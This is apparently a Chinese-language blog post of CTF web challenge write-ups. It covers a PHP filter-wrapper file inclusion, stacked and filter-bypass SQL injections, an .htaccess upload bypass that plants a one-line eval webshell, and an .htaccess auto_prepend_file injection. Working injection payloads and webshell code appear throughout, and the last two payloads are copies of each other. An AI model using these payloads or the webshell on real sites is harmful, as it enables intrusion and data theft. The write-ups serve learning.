Buff的Web


[ACTF2020 新生赛]Include1

考点:文件包含

查看了源码和数据包,发现没有想要的信息,又爆破的一波目录,并没有有用目录,几乎都指向index.php,突然灵光一闪,想着会不会是无法显示的信息,然后用PHP伪协议进行base64编码,发现了一串编码,然后解码获取flag。

使用是伪协议:?filename=php://filter/read=convert.base64-encode/resource=xxx.php

filter:滤器

该协议的作用:作为一个中间流来处理其他流,可以进行任意文件的读取(获取页面源码)

伪协议了解

[强网杯 2019]随便注 1

考点:sql注入

操作过程:

发现输入1,2都正常,然后输入3以上就没有结果了。然后尝试输入单引号,发现报错,于是猜测这是单引号闭合,尝试使用1’ or ‘1’= ‘1 –+,发现正常,确认是单引号闭合。使用1’ order by 1,2,3 –+发现错误,即最多回显2个字段信息。使用0’ select databse(),2 –+发现select等等一些关键字被禁用

select被禁用导致了很多的方法都无法使用了,其中包括了联合、布尔注入和时间盲注。尝试堆叠注入。

堆叠注入的原理是因为mysql支持多个语句一起执行,不过需要用” ; “分隔开

查看mysql的命令,执行查看数据库的命令:1’;show databases ; –+,发现可行,返回数据库信息。然后发现了”ctftraining“的数据库,然后执行1’;use ctftraining;show tables–+,发现了”FLAG_TABLE“字段,使用1’;use ctftraining;show columns from FLAG_TABLE–+发现提示not_flag,flag不在这里,直接执行1’;show tables –+查看所有表,发现了两个表

然后查看其中的字段,查看第一个表1’; show columns from `1919810931114514` –+,终于发现了flag。然后就做不下去了,因为select被禁用,想过用sel<>ect绕过,但是发现不行,最后没有想法看wp

wp1:使用prepare ..from 和excute 进行16进制编码绕过

select `flag` from `1919810931114514` 的十六进制:0x73656C6563742060666C6167602066726F6D20603139313938313039333131313435313460

payload:1’;Set @a=0x73656C6563742060666C6167602066726F6D20603139313938313039333131313435313460;prepare exesql from @a;execute exesql –+

//发现set和prepare同时使用会被检测,于是变换set为Set等等

mysql预处理

prepare语句

wp2:使用handler 语句(mysql特殊语句)

payload:1’;handler `1919810931114514` open;handler `1919810931114514` read next –+

//打开数据表,然后按索引读表中的字段内容

handler 姿势

官网介绍

mysql操作命令

mysql查看版本信息

[SUCTF 2019]EasySQL

考点: sql注入

尝试输入1,2,3都可以返回数字,输入单引号后没有内容输出,而使用双引号发现返回nonono;以为是双引号闭合,但是验证闭合的结果和输入双引号一样,无法确定.再次输入一些关键字,发现结果和输入双引号一样的内容输出nonono.例如:from、handler….,但是可以使用分号,于是尝试了一下堆叠 注入,输入了1;show databases –+和1;show databases都没有有效输出,然后修改注释符号1;show databases#发现返回有效内容,查看表1;show tables#发现了Flag;可是剩下弄了一波没有办法操作了. 看了wp ,造成输入数字和字母区别的问题在于sql语句的原型是

>$sql = "select ".$post['query']."||flag from Flag";

就是对输入的参数过滤后然后进行连接,其中||是或操作,即select [咩咩] || flag from Flag,如果咩咩是数字则进行或操作,可以得到1或者0的结果映射出来,而如果是字母则无法映射结果,无输出.再测试发现&&也可以这样的

wp1:使用逗号进行分割

payload: *,1 //即select *, 1 || flag from Flag ,将 * 和1|| flag作为两个字段名称,所以可以直接输出Flag的全部信息

wp2:将||修改成为连接符(对&&无效)

payload: 1;set sql_mode=pipes_as_concat;select 1 //即select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag; (1||flag会将1和flag的内容连接)

sql_mode

mysql 修改sql_mode 实现字符串管道‘||’连接

[极客大挑战 2019]BabySQL 1

考点: sql注入

输入账号密码,然后使用hackbar测试。测试内容是对账号的添加单引号,双引号,变形括号,当输入单引号的时候便发现了报错,再验证信息username=1’ or ‘1’=’1–+&password=1,发现正常返回,于是确定是单引号闭合。

使用order by语句测试可返回字段

发现过滤了or和by,使用双写绕过?username=0’ oorrder bbyy 1,2,3,4 –+&password=1

发现了只能返回3个字段,于是查看哪些是显位?username=0’union select 1,2,3 –+&password=1

发现过滤了union和select,于是继续绕过?username=0’ununionion seselectlect 1,2,3 –+&password=1

查看数据库?username=0’ununionion seselectlect 1,database(),3 –+&password=1

查看表名,发现过滤了where和from

继续绕?username=0’ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),3 –+&password=1

查看b4bsql:?username=0’ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’),3 –+&password=1

查看字段username和password:?username=0’ununionion seselectlect 1,(selselectect group_concat(username,0x26,passwoorrd) frfromom b4bsql),3–+&password=1

上面的password也需要双写or成passwoorrd,最后获得flag:flag{8326e006-a228-457d-bd23-e7efa2403d76}

双写绕过:

模型大概使用preg_replace()或者str_replace()将特定的字符替换成空,然后导致无法输入原来的内容。

><?php
>$sql = "from";
>echo str_replace("from","",$sql);			//将$sql中的from替换成空
>//输出结果是:空

使用双写绕过大概的方法就是重复写多一次想要输入内容在中间,让函数替换成空最后连接成为原来想要输入的内容

比如:

  • select 通过双写绕过就是 selselectect,可以看到标黑部分就是想要输入的,然后被替换成空后得到select
  • from 通过双写绕过就是frfromom,将其中的一个from替换成空后还是from

其他的也一样,只不过需要在测试的时候看看是哪些字符被替换成空了

[MRCTF2020]你传你🐎呢 1

上传的文件内容是<?php @eval($_POST[‘cmd’]); ?>,发现,估计是被过滤了php,然后认为是后缀名有问题,就爆破了php可执行的文件后缀,可是发现没有一个可以通过的。然后我尝试了禁用js,看看是否是js导致过滤了这些内容,禁用后发现并没有效果,但是可以上传jpg类型的文件即Content-Type为image/jpeg(发现image/png也可,但是文件内容太大都不行)然后新手表示没办法了。看了wp后学习到了新知识。使用的是.htaccess解析漏洞,就是将携带webshell的图片修改为php可执行文件

.htaccess文件内容:

><FilesMatch "1.jpg">
>Sethandler application/x-httpd-php	
><!-- 将匹配到的 1.jpg 文件按照php解析执行 -->
></FilesMatch>

webshell:

><?php 
	@eval($_POST['cmd']);
>?>

先上传.htaccess文件(需要修改Content-Type类型),目的是修改目录及子目录的配置,然后再上传带有webshell的1.jpg,最后用蚁剑连接获取flag

MIME类型就是服务端会检测Content-Type的值

常见的MIME类型有:image/jpeg、image/png、image/gif

文件上传之MIME类型绕过

.htaccess文件是Apache服务器下的一个配置文件,在本题大概作用就是将标记文件映射为php可执行文件,作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果

写法:

  • Sethandler 指令:
    将该目录及子目录的所有文件均映射为php文件类型
  • Addhandler 指令:
    使用 php5-script 处理器来解析所匹配到的文件
  • AddType 指令
    将特定扩展名文件映射为php文件类型

burp suite重新发送文件会覆盖原来命名的文件

.htaccess介绍

一句话木马变形

[羊城杯2020]easyphp 1

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

源码如上,发现它会用unlink删除了当前目录下除了index.php以外的文件,一开始我以为没有啥影响,就照做下去了,可是后来才发现这是卡住自己的地方。这道题对于传入的content用stristr对传入的文件进行了截取。然后对传入的filename进行了过滤,即无法传入除了小写字母和” . “构成外的参数。经过之前的毒打,理解了file_put_contents是将第二个参数写入第一个参数的文件中,我就构造了payload:?content=<?php system(“ls”);?>&filename=flag.php,当我访问了flag.php后发现

这个文件没有进行PHP解析,无法执行,也许因为前面删除文件的作用,删除了.htaccess文件吧,只能继续学知识了。

处理方法:重新写入.htaccess关于解析php代码的内容(让所有的 PHP 文件【index.php】都包含 .htaccess 文件自身,在.htaccess后面写入PHP代码执行)

​ 先了解.htaccess 中使用# 进行单行注释,php_value auto_append_file会自动包含并解析文件

​ 最后就是利用.htaccess写shell,将一句话写入到.htaccess的注释中,再利用它自动加载文件的特性加载.htaccess文件,从而加载一句话。如:在.htaccess 中使用php_value auto_prepend_file .htaccess#<?php system("ls");?> 在脚本头部加载一句话(剩下还需要绕过file和添加\转义content后\n的\)

所以payload:

查看:?filename=.htaccess&content=php_value%20auto_prepend_fil%0ae%20.htaccess%0a%23\ //发现flag,后面就可以绕过flag字符获取flag了

获取:?filename=.htaccess&content=php_value%20auto_prepend_fil%0ae%20.htaccess%0a%23\

可是最后还是不懂为什么file中需要使用一个换行,试过删除则无用的payload

.htaccess的姿势


  目录